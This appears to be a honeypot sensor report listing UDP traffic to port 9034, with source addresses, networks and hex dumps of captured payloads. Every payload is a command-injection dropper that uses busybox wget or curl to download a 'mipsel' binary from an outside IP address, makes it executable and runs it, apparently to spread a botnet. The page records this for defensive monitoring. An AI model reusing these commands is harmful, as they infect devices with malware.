UDP traffic
Datagrams matching port:9034 sent to HoneyLabs sensors over UDP in the last 7 days. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.
A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.
Your plan searches up to 7d, so 30d was shortened. Plans
24
Datagrams
8
Source addresses
7
Networks
5
Countries
1
Destination ports
Traffic by type
Unrecognised
24 datagrams from 8 sourcesDatagrams no decoder recognised. Their first bytes are kept.
Latest Unrecognised datagram, to 9034/udp
payload bytes
00000000 6f 72 66 3b 20 63 64 20 2f 74 6d 70 3b 20 72 6d |orf; cd /tmp; rm| 00000010 20 2d 72 66 20 6d 69 70 73 65 6c 3b 20 2f 62 69 | -rf mipsel; /bi| 00000020 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 |n/busybox wget h| 00000030 74 74 70 3a 2f 2f 35 38 2e 32 31 31 2e 31 34 34 |ttp://58.211.144| 00000040 2e 32 34 33 3a 38 30 30 2f 6d 69 70 73 65 6c 3b |.243:800/mipsel;| 00000050 20 63 68 6d 6f 64 20 2b 78 20 6d 69 70 73 65 6c | chmod +x mipsel| 00000060 3b 20 2e 2f 6d 69 70 73 65 6c 20 72 65 61 6c 74 |; ./mipsel realt| 00000070 65 6b 2e 73 65 6c 66 72 65 70 3b 20 23 0a |ek.selfrep; #.|
Destination ports
- 9034/udp24
Networks
- AS4134 Chinanet from 1 source7
- AS219502 Storm Industries LLC from 2 sources6
- AS4811 China Telecom (Group) from 1 source4
- AS12876 Scaleway SAS from 1 source3
- AS395965 Carrytel from 1 source2
- AS398721 OXIO from 1 source1
- AS51396 Pfcloud UG (haftungsbeschrankt) from 1 source1
Countries
Source addresses (unverified)
| Address | Network | Cc | Sends | Datagrams | Last seen (UTC) |
|---|---|---|---|---|---|
| 123.178.147.22 | AS4134 Chinanet | CN | Unrecognised | 7 | 2026-10-10 00:12 |
| 94.154.43.117 | AS219502 Storm Industries LLC | NL | Unrecognised | 5 | 2026-10-10 00:23 |
| 118.196.28.46 | AS4811 China Telecom (Group) | CN | Unrecognised | 4 | 2026-10-08 09:30 |
| 163.172.53.219 | AS12876 Scaleway SAS | FR | Unrecognised | 3 | 2026-10-11 02:58 |
| 170.52.84.66 | AS395965 Carrytel | CA | Unrecognised | 2 | 2026-10-06 16:45 |
| 94.183.174.99 | AS51396 Pfcloud UG (haftungsbeschrankt) | AE | Unrecognised | 1 | 2026-10-07 19:28 |
| 38.147.248.154 | AS398721 OXIO | CA | Unrecognised | 1 | 2026-10-05 16:54 |
| 94.154.43.242 | AS219502 Storm Industries LLC | NL | Unrecognised | 1 | 2026-10-05 18:38 |
Latest datagrams
payload bytes
00000000 6f 72 66 3b 20 63 64 20 2f 74 6d 70 3b 20 72 6d |orf; cd /tmp; rm| 00000010 20 2d 72 66 20 6d 69 70 73 65 6c 3b 20 2f 62 69 | -rf mipsel; /bi| 00000020 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 |n/busybox wget h| 00000030 74 74 70 3a 2f 2f 35 38 2e 32 31 31 2e 31 34 34 |ttp://58.211.144| 00000040 2e 32 34 33 3a 38 30 30 2f 6d 69 70 73 65 6c 3b |.243:800/mipsel;| 00000050 20 63 68 6d 6f 64 20 2b 78 20 6d 69 70 73 65 6c | chmod +x mipsel| 00000060 3b 20 2e 2f 6d 69 70 73 65 6c 20 72 65 61 6c 74 |; ./mipsel realt| 00000070 65 6b 2e 73 65 6c 66 72 65 70 3b 20 23 0a |ek.selfrep; #.|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 |-rf mpsl; /bin/b| 00000020 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 |usybox wget http| 00000030 3a 2f 2f 31 37 36 2e 36 35 2e 31 33 39 2e 33 38 |://176.65.139.38| 00000040 2f 6d 69 70 73 65 6c 3b 20 63 75 72 6c 20 68 74 |/mipsel; curl ht| 00000050 74 70 3a 2f 2f 31 37 36 2e 36 35 2e 31 33 39 2e |tp://176.65.139.| 00000060 33 38 2f 6d 69 70 73 65 6c 20 2d 6f 20 6d 69 70 |38/mipsel -o mip| 00000070 73 65 6c 3b 20 63 68 6d 6f 64 20 2b 78 20 6d 69 |sel; chmod +x mi| 00000080 70 73 65 6c 3b 20 2e 2f 6d 69 70 73 65 6c 20 72 |psel; ./mipsel r| 00000090 74 2e 6d 70 73 6c 3b 20 23 |t.mpsl; #|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 |-rf mpsl; /bin/b| 00000020 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 |usybox wget http| 00000030 3a 2f 2f 31 37 36 2e 36 35 2e 31 33 39 2e 33 38 |://176.65.139.38| 00000040 2f 6d 69 70 73 65 6c 3b 20 63 75 72 6c 20 68 74 |/mipsel; curl ht| 00000050 74 70 3a 2f 2f 31 37 36 2e 36 35 2e 31 33 39 2e |tp://176.65.139.| 00000060 33 38 2f 6d 69 70 73 65 6c 20 2d 6f 20 6d 69 70 |38/mipsel -o mip| 00000070 73 65 6c 3b 20 63 68 6d 6f 64 20 2b 78 20 6d 69 |sel; chmod +x mi| 00000080 70 73 65 6c 3b 20 2e 2f 6d 69 70 73 65 6c 20 72 |psel; ./mipsel r| 00000090 74 2e 6d 70 73 6c 3b 20 23 |t.mpsl; #|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b |-rf alya.mipsel;| 00000020 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 | /bin/busybox wg| 00000030 65 74 20 68 74 74 70 3a 2f 2f 32 30 32 2e 31 31 |et http://202.11| 00000040 30 2e 37 30 2e 36 30 3a 38 30 30 2f 61 6c 79 61 |0.70.60:800/alya| 00000050 2e 6d 69 70 73 65 6c 3b 20 63 68 6d 6f 64 20 2b |.mipsel; chmod +| 00000060 78 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b 20 2e |x alya.mipsel; .| 00000070 2f 61 6c 79 61 2e 6d 69 70 73 65 6c 20 72 74 2e |/alya.mipsel rt.| 00000080 73 65 6c 66 72 65 70 3b 20 23 |selfrep; #|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 |-rf mpsl; /bin/b| 00000020 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 |usybox wget http| 00000030 3a 2f 2f 31 37 36 2e 36 35 2e 31 33 39 2e 33 38 |://176.65.139.38| 00000040 2f 6d 69 70 73 65 6c 3b 20 63 75 72 6c 20 68 74 |/mipsel; curl ht| 00000050 74 70 3a 2f 2f 31 37 36 2e 36 35 2e 31 33 39 2e |tp://176.65.139.| 00000060 33 38 2f 6d 69 70 73 65 6c 20 2d 6f 20 6d 69 70 |38/mipsel -o mip| 00000070 73 65 6c 3b 20 63 68 6d 6f 64 20 2b 78 20 6d 69 |sel; chmod +x mi| 00000080 70 73 65 6c 3b 20 2e 2f 6d 69 70 73 65 6c 20 72 |psel; ./mipsel r| 00000090 74 2e 6d 70 73 6c 3b 20 23 |t.mpsl; #|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 |-rf mpsl; /bin/b| 00000020 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 |usybox wget http| 00000030 3a 2f 2f 31 37 36 2e 36 35 2e 31 33 39 2e 33 38 |://176.65.139.38| 00000040 2f 6d 69 70 73 65 6c 3b 20 63 75 72 6c 20 68 74 |/mipsel; curl ht| 00000050 74 70 3a 2f 2f 31 37 36 2e 36 35 2e 31 33 39 2e |tp://176.65.139.| 00000060 33 38 2f 6d 69 70 73 65 6c 20 2d 6f 20 6d 69 70 |38/mipsel -o mip| 00000070 73 65 6c 3b 20 63 68 6d 6f 64 20 2b 78 20 6d 69 |sel; chmod +x mi| 00000080 70 73 65 6c 3b 20 2e 2f 6d 69 70 73 65 6c 20 72 |psel; ./mipsel r| 00000090 74 2e 6d 70 73 6c 3b 20 23 |t.mpsl; #|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 |-rf mpsl; /bin/b| 00000020 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 |usybox wget http| 00000030 3a 2f 2f 31 37 36 2e 36 35 2e 31 33 39 2e 33 38 |://176.65.139.38| 00000040 2f 6d 69 70 73 65 6c 3b 20 63 75 72 6c 20 68 74 |/mipsel; curl ht| 00000050 74 70 3a 2f 2f 31 37 36 2e 36 35 2e 31 33 39 2e |tp://176.65.139.| 00000060 33 38 2f 6d 69 70 73 65 6c 20 2d 6f 20 6d 69 70 |38/mipsel -o mip| 00000070 73 65 6c 3b 20 63 68 6d 6f 64 20 2b 78 20 6d 69 |sel; chmod +x mi| 00000080 70 73 65 6c 3b 20 2e 2f 6d 69 70 73 65 6c 20 72 |psel; ./mipsel r| 00000090 74 2e 6d 70 73 6c 3b 20 23 |t.mpsl; #|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b |-rf alya.mipsel;| 00000020 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 | /bin/busybox wg| 00000030 65 74 20 68 74 74 70 3a 2f 2f 32 30 32 2e 31 31 |et http://202.11| 00000040 30 2e 37 30 2e 36 30 3a 38 30 30 2f 61 6c 79 61 |0.70.60:800/alya| 00000050 2e 6d 69 70 73 65 6c 3b 20 63 68 6d 6f 64 20 2b |.mipsel; chmod +| 00000060 78 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b 20 2e |x alya.mipsel; .| 00000070 2f 61 6c 79 61 2e 6d 69 70 73 65 6c 20 72 74 2e |/alya.mipsel rt.| 00000080 73 65 6c 66 72 65 70 3b 20 23 |selfrep; #|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b |-rf alya.mipsel;| 00000020 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 | /bin/busybox wg| 00000030 65 74 20 68 74 74 70 3a 2f 2f 32 30 32 2e 31 31 |et http://202.11| 00000040 30 2e 37 30 2e 36 30 3a 38 30 30 2f 61 6c 79 61 |0.70.60:800/alya| 00000050 2e 6d 69 70 73 65 6c 3b 20 63 68 6d 6f 64 20 2b |.mipsel; chmod +| 00000060 78 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b 20 2e |x alya.mipsel; .| 00000070 2f 61 6c 79 61 2e 6d 69 70 73 65 6c 20 72 74 2e |/alya.mipsel rt.| 00000080 73 65 6c 66 72 65 70 3b 20 23 |selfrep; #|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b |-rf alya.mipsel;| 00000020 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 | /bin/busybox wg| 00000030 65 74 20 68 74 74 70 3a 2f 2f 32 30 32 2e 31 31 |et http://202.11| 00000040 30 2e 37 30 2e 36 30 3a 38 30 30 2f 61 6c 79 61 |0.70.60:800/alya| 00000050 2e 6d 69 70 73 65 6c 3b 20 63 68 6d 6f 64 20 2b |.mipsel; chmod +| 00000060 78 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b 20 2e |x alya.mipsel; .| 00000070 2f 61 6c 79 61 2e 6d 69 70 73 65 6c 20 72 74 2e |/alya.mipsel rt.| 00000080 73 65 6c 66 72 65 70 3b 20 23 |selfrep; #|
payload bytes
00000000 6f 72 66 3b 20 63 64 20 2f 74 6d 70 3b 20 72 6d |orf; cd /tmp; rm| 00000010 20 2d 72 66 20 6d 69 70 73 65 6c 3b 20 2f 62 69 | -rf mipsel; /bi| 00000020 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 |n/busybox wget h| 00000030 74 74 70 3a 2f 2f 35 38 2e 32 31 31 2e 31 34 34 |ttp://58.211.144| 00000040 2e 32 34 33 3a 38 30 30 2f 6d 69 70 73 65 6c 3b |.243:800/mipsel;| 00000050 20 63 68 6d 6f 64 20 2b 78 20 6d 69 70 73 65 6c | chmod +x mipsel| 00000060 3b 20 2e 2f 6d 69 70 73 65 6c 20 72 65 61 6c 74 |; ./mipsel realt| 00000070 65 6b 2e 73 65 6c 66 72 65 70 3b 20 23 0a |ek.selfrep; #.|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b |-rf alya.mipsel;| 00000020 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 | /bin/busybox wg| 00000030 65 74 20 68 74 74 70 3a 2f 2f 32 30 32 2e 31 31 |et http://202.11| 00000040 30 2e 37 30 2e 36 30 3a 38 30 30 2f 61 6c 79 61 |0.70.60:800/alya| 00000050 2e 6d 69 70 73 65 6c 3b 20 63 68 6d 6f 64 20 2b |.mipsel; chmod +| 00000060 78 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b 20 2e |x alya.mipsel; .| 00000070 2f 61 6c 79 61 2e 6d 69 70 73 65 6c 20 72 74 2e |/alya.mipsel rt.| 00000080 73 65 6c 66 72 65 70 3b 20 23 |selfrep; #|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b |-rf alya.mipsel;| 00000020 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 | /bin/busybox wg| 00000030 65 74 20 68 74 74 70 3a 2f 2f 32 30 32 2e 31 31 |et http://202.11| 00000040 30 2e 37 30 2e 36 30 3a 38 30 30 2f 61 6c 79 61 |0.70.60:800/alya| 00000050 2e 6d 69 70 73 65 6c 3b 20 63 68 6d 6f 64 20 2b |.mipsel; chmod +| 00000060 78 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b 20 2e |x alya.mipsel; .| 00000070 2f 61 6c 79 61 2e 6d 69 70 73 65 6c 20 72 74 2e |/alya.mipsel rt.| 00000080 73 65 6c 66 72 65 70 3b 20 23 |selfrep; #|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b |-rf alya.mipsel;| 00000020 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 | /bin/busybox wg| 00000030 65 74 20 68 74 74 70 3a 2f 2f 32 30 32 2e 31 31 |et http://202.11| 00000040 30 2e 37 30 2e 36 30 3a 38 30 30 2f 61 6c 79 61 |0.70.60:800/alya| 00000050 2e 6d 69 70 73 65 6c 3b 20 63 68 6d 6f 64 20 2b |.mipsel; chmod +| 00000060 78 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b 20 2e |x alya.mipsel; .| 00000070 2f 61 6c 79 61 2e 6d 69 70 73 65 6c 20 72 74 2e |/alya.mipsel rt.| 00000080 73 65 6c 66 72 65 70 3b 20 23 |selfrep; #|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b |-rf alya.mipsel;| 00000020 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 | /bin/busybox wg| 00000030 65 74 20 68 74 74 70 3a 2f 2f 32 30 32 2e 31 31 |et http://202.11| 00000040 30 2e 37 30 2e 36 30 3a 38 30 30 2f 61 6c 79 61 |0.70.60:800/alya| 00000050 2e 6d 69 70 73 65 6c 3b 20 63 68 6d 6f 64 20 2b |.mipsel; chmod +| 00000060 78 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b 20 2e |x alya.mipsel; .| 00000070 2f 61 6c 79 61 2e 6d 69 70 73 65 6c 20 72 74 2e |/alya.mipsel rt.| 00000080 73 65 6c 66 72 65 70 3b 20 23 |selfrep; #|